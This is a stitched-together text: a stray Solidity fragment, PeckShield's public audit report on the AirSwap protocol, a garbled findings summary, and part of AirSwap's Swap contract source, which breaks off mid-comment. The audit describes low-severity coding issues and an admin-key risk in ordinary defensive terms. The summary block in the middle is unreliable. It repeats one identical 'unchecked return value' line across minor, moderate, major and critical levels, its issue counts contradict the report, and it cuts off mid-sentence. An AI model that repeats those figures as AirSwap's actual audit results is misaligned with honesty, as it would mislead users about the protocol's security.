msg.sender.call{value: signerAmount}(""); require(success, "ETH_RETURN_FAILED"); } else { IERC20(signerToken).safeTransfer(msg.sender, signerAmount); } } }
Public SMART CONTRACT AUDIT REPORT for AirSwap Protocol Prepared By: Yiqun Chen PeckShield February 15, 2022 1/20 PeckShield Audit Report #: 2022-038Public Document Properties Client AirSwap Protocol Title Smart Contract Audit Report Target AirSwap Version 1.0 Author Xuxian Jiang Auditors Xiaotao Wu, Patrick Liu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 February 15, 2022 Xuxian Jiang Final Release 1.0-rc January 30, 2022 Xuxian Jiang Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/20 PeckShield Audit Report #: 2022-038Public Contents 1 Introduction 4 1.1 About AirSwap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Proper Allowance Reset For Old Staking Contracts . . . . . . . . . . . . . . . . . . 11 3.2 Removal of Unused State/Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.3 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 14 3.4 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4 Conclusion 18 References 19 3/20 PeckShield Audit Report #: 2022-038Public 1 | Introduction Given the opportunity to review the design document and related source code of the AirSwapprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About AirSwap AirSwapcurates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. At the protocol level, each swap is between two parties, a signer and a sender. The signer is the party that creates and cryptographically signs an order, and the sender is the party that sends the order to the Ethereum blockchain for settlement. As a decentralized and open project, governance and community activities are also supported by rewards protocols built with on-chain components. The basic information of audited contracts is as follows: Table 1.1: Basic Information of AirSwap ItemDescription NameAirSwap Protocol Website https://www.airswap.io/ TypeSmart Contract Language Solidity Audit Method Whitebox Latest Audit Report February 15, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit: 4/20 PeckShield Audit Report #: 2022-038Public •https://github.com/airswap/airswap-protocols.git (ac62b71) And this is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/airswap/airswap-protocols.git (84935eb) 1.2 About PeckShield PeckShield Inc. [10] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [9]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact, and can be accordingly classified into four categories, i.e., Critical,High,Medium,Lowshown in Table 1.2. 5/20 PeckShield Audit Report #: 2022-038Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/20 PeckShield Audit Report #: 2022-038Public To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [8], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. Moreover, in case there is an issue that may affect an active protocol that has been deployed, the public version of this report may omit such issue, but will be amended with full details right after the affected protocol is upgraded with respective fixes. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/20 PeckShield Audit Report #: 2022-038Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/20 PeckShield Audit Report #: 2022-038Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the design and implementation of the AirSwap protocol smart contracts. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 1 Low 3 Informational 0 Total 4 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/20 PeckShield Audit Report #: 2022-038Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 1medium-severity vulnerability and 3low-severity vulnerabilities. Table 2.1: Key Audit Findings IDSeverity Title Category Status PVE-001 Low Proper Allowance Reset For Old Staking ContractsCoding Practices Fixed PVE-002 Low Removal of Unused State/Code Coding Practices Fixed PVE-003 Low Accommodation of Non-ERC20- Compliant TokensBusiness Logics Fixed PVE-004 Medium Trust Issue of Admin Keys Security Features Mitigated Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/20 PeckShield Audit Report #: 2022-038Public 3 | Detailed Results 3.1 Proper Allowance Reset For Old Staking Contracts •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: Pool •Category: Coding Practices [6] •CWE subcategory: CWE-1041 [1] Description The AirSwapprotocol has a Poolcontract that supports the main functionality of staking and claims. It also allows the privileged owner to update the active staking contract stakingContract . In the following, we examine this specific setStakingContract() function. It comes to our attention that this function properly sets up the spending allowance to the new stakingContract . However, it forgets to cancel the previous spending allowance from the old stakingContract . 149 /** 150 * @notice Set staking contract address 151 * @dev Only owner 152 * @param _stakingContract address 153 */ 154 function setStakingContract ( address _stakingContract ) 155 external 156 override 157 onlyOwner 158 { 159 require ( _stakingContract != address (0) , " INVALID_ADDRESS "); 160 stakingContract = _stakingContract ; 161 IERC20 ( stakingToken ). approve ( stakingContract , 2**256 - 1); 162 } Listing 3.1: Pool::setStakingContract() 11/20 PeckShield Audit Report #: 2022-038Public Recommendation Remove the spending allowance from the old stakingContract when it is updated. Status This issue has been fixed in the following PR: 776. 3.2 Removal of Unused State/Code •ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Coding Practices [6] •CWE subcategory: CWE-563 [3] Description AirSwap makes good use of a number of reference contracts, such as ERC20,SafeERC20 , and SafeMath, to facilitate its code implementation and organization. For example, the Poolsmart contract has so far imported at least four reference contracts. However, we observe the inclusion of certain unused code or the presence of unnecessary redundancies that can be safely removed. For example, if we examine closely the Stakingcontract, there are a number of states that have beendefined. However,someofthemareneverused. Examplesinclude usedIdsand unlockTimestamps . These unused states can be safely removed. 37 // Mapping of account to delegate 38 mapping (address = >address )public a c c o u n t D e l e g a t e s ; 39 40 // Mapping of delegate to account 41 mapping (address = >address )public d e l e g a t e A c c o u n t s ; 42 43 // Mapping of timelock ids to used state 44 mapping (bytes32 = >bool )private u s e d I d s ; 45 46 // Mapping of ids to timestamps 47 mapping (bytes32 = >uint256 )private unlockTimestamps ; 48 49 // ERC -20 token properties 50 s t r i n g public name ; 51 s t r i n g public symbol ; Listing 3.2: The StakingContract Moreover, the Wrappercontract has a function sellNFT() , which is marked as payable, but its internal logic has explicitly restricted the following require(msg.value == 0) . As a result, both payable and the restriction can be removed together. 12/20 PeckShield Audit Report #: 2022-038Public 162 function sellNFT ( 163 uint256 nonce , 164 uint256 expiry , 165 address signerWallet , 166 address signerToken , 167 uint256 signerAmount , 168 address senderToken , 169 uint256 senderID , 170 uint8 v, 171 bytes32 r, 172 bytes32 s 173 ) public payable { 174 require ( msg . value == 0, " VALUE_MUST_BE_ZERO "); 175 IERC721 ( senderToken ). setApprovalForAll ( address ( swapContract ), true ); 176 IERC721 ( senderToken ). transferFrom ( msg. sender , address ( this ), senderID ); 177 swapContract . sellNFT ( 178 nonce , 179 expiry , 180 signerWallet , 181 signerToken , 182 signerAmount , 183 senderToken , 184 senderID , 185 v, 186 r, 187 s 188 ); 189 _unwrapEther ( signerToken , signerAmount ); 190 emit WrappedSwapFor ( msg . sender ); 191 } Listing 3.3: Wrapper::sellNFT() Recommendation Consider the removal of the redundant code with a simplified, consistent implementation. Status The issue has been fixed with the following PRs: 777, 778, and 779. 13/20 PeckShield Audit Report #: 2022-038Public 3.3 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Business Logic [7] •CWE subcategory: CWE-841 [4] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular stablecoin, i.e., USDT, as our example. We show the related code snippet below. On its entry of approve() , there is a requirement, i.e., require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))) . This specific requirement essentially indicates the need of reducing the allowance to 0first (by calling approve(_spender, 0) ) if it is not, and then calling a secondonetosettheproperallowance. Thisrequirementisinplacetomitigatetheknown approve()/ transferFrom() racecondition(https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729). 194 /** 195 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 196 * @param _spender The address which will spend the funds . 197 * @param _value The amount of tokens to be spent . 198 */ 199 function approve ( address _spender , uint _value ) public o n l y P a y l o a d S i z e (2 ∗32) { 201 // To change the approve amount you first have to reduce the addresses ‘ 202 // allowance to zero by calling ‘approve ( _spender , 0) ‘ if it is not 203 // already 0 to mitigate the race condition described here : 204 // https :// github . com / ethereum / EIPs / issues /20# issuecomment -263524729 205 require ( ! ( ( _value != 0) && ( a l l o w e d [ msg.sender ] [ _spender ] != 0) ) ) ; 207 a l l o w e d [ msg.sender ] [ _spender ] = _value ; 208 Approval ( msg.sender , _spender , _value ) ; 209 } Listing 3.4: USDT Token Contract Because of that, a normal call to approve() is suggested to use the safe version, i.e., safeApprove() , In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transfer() as well, i.e., safeTransfer() . 14/20 PeckShield Audit Report #: 2022-038Public 38 /** 39 * @dev Deprecated . This function has issues similar to the ones found in 40 * {IERC20 - approve }, and its usage is discouraged . 41 * 42 * Whenever possible , use { safeIncreaseAllowance } and 43 * { safeDecreaseAllowance } instead . 44 */ 45 function safeApprove ( 46 IERC20 token , 47 address spender , 48 uint256 value 49 ) internal { 50 // safeApprove should only be called when setting an initial allowance , 51 // or when resetting it to zero . To increase and decrease it , use 52 // ’ safeIncreaseAllowance ’ and ’ safeDecreaseAllowance ’ 53 require ( 54 ( value == 0) ( token . allowance ( address ( this ), spender ) == 0) , 55 " SafeERC20 : approve from non - zero to non - zero allowance " 56 ); 57 _callOptionalReturn (token , abi . encodeWithSelector ( token . approve . selector , spender , value )); 58 } Listing 3.5: SafeERC20::safeApprove() In the following, we show the unstake() routine from the Stakingcontract. If the USDTtoken is supported as token, the unsafe version of token.transfer(account, amount) (line 178) may revert as there is no return value in the USDTtoken contract’s transfer()/transferFrom() implementation (but the IERC20interface expects a return value)! 168 /** 169 * @notice Unstake tokens 170 * @param amount uint256 171 */ 172 function unstake ( uint256 amount ) external override { 173 address account ; 174 delegateAccounts [ msg . sender ] != address (0) 175 ? account = delegateAccounts [ msg . sender ] 176 : account = msg . sender ; 177 _unstake ( account , amount ); 178 token . transfer ( account , amount ); 179 emit Transfer ( account , address (0) , amount ); 180 } Listing 3.6: Staking::unstake() Note this issue is also applicable to other routines in Swapand Poolcontracts. For the safeApprove ()support, there is a need to approve twice: the first time resets the allowance to zero and the second time approves the intended amount. Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related 15/20 PeckShield Audit Report #: 2022-038Public approve()/transfer()/transferFrom() . Status This issue has been fixed in the following PRs: 781and 782. 3.4 Trust Issue of Admin Keys •ID: PVE-004 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: Multiple Contracts •Category: Security Features [5] •CWE subcategory: CWE-287 [2] Description In the AirSwapprotocol, there is a privileged owneraccount that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and payee adjustment). It also has the privilege to regulate or govern the flow of assets within the protocol. With great privilege comes great responsibility. Our analysis shows that the owneraccount is indeed privileged. In the following, we show representative privileged operations in the Poolprotocol. 164 /** 165 * @notice Set staking token address 166 * @dev Only owner 167 * @param _stakingToken address 168 */ 169 function setStakingToken ( address _stakingToken ) external o v e r r i d e onlyOwner { 170 require ( _stakingToken != address (0) , " INVALID_ADDRESS " ) ; 171 stakingToken = _stakingToken ; 172 IERC20 ( stakingToken ) . approve ( s t a k i n g C o n t r a c t , 2 ∗∗256 −1) ; 173 } 175 /** 176 * @notice Admin function to migrate funds 177 * @dev Only owner 178 * @param tokens address [] 179 * @param dest address 180 */ 181 function drainTo ( address [ ] c a l l d a t a tokens , address d e s t ) 182 external 183 o v e r r i d e 184 onlyOwner 185 { 186 for (uint256 i = 0 ; i < tokens . length ; i ++) { 187 uint256 b a l = IERC20 ( tokens [ i ] ) . balanceOf ( address (t h i s ) ) ; 188 IERC20 ( tokens [ i ] ) . s a f e T r a n s f e r ( dest , b a l ) ; 189 } 190 emit DrainTo ( tokens , d e s t ) ; 16/20 PeckShield Audit Report #: 2022-038Public 191 } Listing 3.7: Various Privileged Operations in Pool We emphasize that the privilege assignment with various protocol contracts is necessary and required for proper protocol operations. However, it is worrisome if the owneris not governed by a DAO-like structure. We point out that a compromised owneraccount would allow the attacker to invoke the above drainToto steal funds in current protocol, which directly undermines the assumption of the AirSwap protocol. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed and partially mitigated with a multi-sig account to regulate the governance privileges. The multi-sig account is a standard Gnosis Safe wallet, which is controlled by multiple participants, who agree to propose and submit transactions as they relate to the DAO’s proposal submission and voting mechanism. This avoids risk of any single compromised EOA as it would require collusion of multiple participants. 17/20 PeckShield Audit Report #: 2022-038Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the AirSwapprotocol, which curates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 18/20 PeckShield Audit Report #: 2022-038Public References [1] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [5] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [6] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [7] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [8] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [9] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. 19/20 PeckShield Audit Report #: 2022-038Public [10] PeckShield. PeckShield Inc. https://www.peckshield.com. 20/20 PeckShield Audit Report #: 2022-038
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: • Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. • Integer arithmetic may cause incorrect pricing logic. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
// SPDX-License-Identifier: MIT /* solhint-disable var-name-mixedcase */ pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "./interfaces/ISwap.sol"; /** * @title AirSwap: Atomic Token Swap * @notice https://www.airswap.io/ */ contract Swap is ISwap, Ownable { using SafeERC20 for IERC20; bytes32 public constant DOMAIN_TYPEHASH = keccak256( abi.encodePacked( "EIP712Domain(", "string name,", "string version,", "uint256 chainId,", "address verifyingContract", ")" ) ); bytes32 public constant ORDER_TYPEHASH = keccak256( abi.encodePacked( "Order(", "uint256 nonce,", "uint256 expiry,", "address signerWallet,", "address signerToken,", "uint256 signerAmount,", "uint256 protocolFee,", "address senderWallet,", "address senderToken,", "uint256 senderAmount", ")" ) ); bytes32 public constant DOMAIN_NAME = keccak256("SWAP"); bytes32 public constant DOMAIN_VERSION = keccak256("3"); uint256 public immutable DOMAIN_CHAIN_ID; bytes32 public immutable DOMAIN_SEPARATOR; uint256 internal constant MAX_PERCENTAGE = 100; uint256 internal constant MAX_SCALE = 77; uint256 internal constant MAX_ERROR_COUNT = 6; uint256 public constant FEE_DIVISOR = 10000; /** * @notice Double mapping of signers to nonce groups to nonce states * @dev The nonce group is computed as nonce / 256, so each group of 256 sequential nonces uses the same key * @dev The nonce states are encoded as 256 bits, for each nonce in the group 0 means available and 1 means used */ mapping(address => mapping(uint256 => uint256)) internal _nonceGroups; mapping(address => address) public override authorized; uint256 public protocolFee; uint256 public protocolFeeLight; address public protocolFeeWallet; uint256 public rebateScale; uint256 public rebateMax; address public stakingToken; constructor( uint256 _protocolFee, uint256 _protocolFeeLight, address _protocolFeeWallet, uint256 _rebateScale, uint256 _rebateMax, address _stakingToken ) { require(_protocolFee < FEE_DIVISOR, "INVALID_FEE"); require(_protocolFeeLight < FEE_DIVISOR, "INVALID_FEE"); require(_protocolFeeWallet != address(0), "INVALID_FEE_WALLET"); require(_rebateScale <= MAX_SCALE, "SCALE_TOO_HIGH"); require(_rebateMax <= MAX_PERCENTAGE, "MAX_TOO_HIGH"); require(_stakingToken != address(0), "INVALID_STAKING_TOKEN"); uint256 currentChainId = getChainId(); DOMAIN_CHAIN_ID = currentChainId; DOMAIN_SEPARATOR = keccak256( abi.encode( DOMAIN_TYPEHASH, DOMAIN_NAME, DOMAIN_VERSION, currentChainId, this ) ); protocolFee = _protocolFee; protocolFeeLight = _protocolFeeLight; protocolFeeWallet = _protocolFeeWallet; rebateScale = _rebateScale; rebateMax = _rebateMax; stakingToken = _stakingToken; } /** * @notice Atomic ERC20 Swap * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC20 token transferred from the signer * @param signerAmount uint256 Amount transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function swap( address recipient, uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) external override { // Ensure the order is valid _checkValidOrder( nonce, expiry, signerWallet, signerToken, signerAmount, senderToken, senderAmount, v, r, s ); // Transfer token from sender to signer IERC20(senderToken).safeTransferFrom( msg.sender, signerWallet, senderAmount ); // Transfer token from signer to recipient IERC20(signerToken).safeTransferFrom(signerWallet, recipient, signerAmount); // Calculate and transfer protocol fee and any rebate _transferProtocolFee(signerToken, signerWallet, signerAmount); // Emit a Swap event emit Swap( nonce, block.timestamp, signerWallet, signerToken, signerAmount, protocolFee, msg.sender, senderToken, senderAmount ); } /** * @notice Swap Atomic ERC20 Swap (Low Gas Usage) * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC20 token transferred from the signer * @param signerAmount uint256 Amount transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function light( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) external override { require(DOMAIN_CHAIN_ID == getChainId(), "CHAIN_ID_CHANGED"); // Ensure the expiry is not passed require(expiry > block.timestamp, "EXPIRY_PASSED"); // Recover the signatory from the hash and signature address signatory = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256( abi.encode( ORDER_TYPEHASH, nonce, expiry, signerWallet, signerToken, signerAmount, protocolFeeLight, msg.sender, senderToken, senderAmount ) ) ) ), v, r, s ); // Ensure the signatory is not null require(signatory != address(0), "SIGNATURE_INVALID"); // Ensure the nonce is not yet used and if not mark it used require(_markNonceAsUsed(signatory, nonce), "NONCE_ALREADY_USED"); // Ensure the signatory is authorized by the signer wallet if (signerWallet != signatory) { require(authorized[signerWallet] == signatory, "UNAUTHORIZED"); } // Transfer token from sender to signer IERC20(senderToken).safeTransferFrom( msg.sender, signerWallet, senderAmount ); // Transfer token from signer to recipient IERC20(signerToken).safeTransferFrom( signerWallet, msg.sender, signerAmount ); // Transfer fee from signer to feeWallet IERC20(signerToken).safeTransferFrom( signerWallet, protocolFeeWallet, (signerAmount * protocolFeeLight) / FEE_DIVISOR ); // Emit a Swap event emit Swap( nonce, block.timestamp, signerWallet, signerToken, signerAmount, protocolFeeLight, msg.sender, senderToken, senderAmount ); } /** * @notice Sender Buys an NFT (ERC721) * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC721 token transferred from the signer * @param signerID uint256 Token ID transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function buyNFT( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerID, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) public override { _checkValidOrder( nonce, expiry, signerWallet, signerToken, signerID, senderToken, senderAmount, v, r, s ); // Transfer token from sender to signer IERC20(senderToken).safeTransferFrom( msg.sender, signerWallet, senderAmount ); // Transfer token from signer to recipient IERC721(signerToken).transferFrom(signerWallet, msg.sender, signerID); // Calculate and transfer protocol fee and rebate _transferProtocolFee(senderToken, msg.sender, senderAmount); emit Swap( nonce, block.timestamp, signerWallet, signerToken, signerID, protocolFee, msg.sender, senderToken, senderAmount ); } /** * @notice Sender Sells an NFT (ERC721) * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC20 token transferred from the signer * @param signerAmount uint256 Amount transferred from the signer * @param senderToken address ERC721 token transferred from the sender * @param senderID uint256 Token ID transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function sellNFT( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderID, uint8 v, bytes32 r, bytes32 s ) public override { _checkValidOrder( nonce, expiry, signerWallet, signerToken, signerAmount, senderToken, senderID, v, r, s ); // Transfer token from sender to signer IERC721(senderToken).transferFrom(msg.sender, signerWallet, senderID); // Transfer token from signer to recipient IERC20(signerToken).safeTransferFrom( signerWallet, msg.sender, signerAmount ); // Calculate and transfer protocol fee and rebate _transferProtocolFee(signerToken, signerWallet, signerAmount); emit Swap( nonce, block.timestamp, signerWallet, signerToken, signerAmount, protocolFee, msg.sender, senderToken, senderID ); } /** * @notice Signer and sender 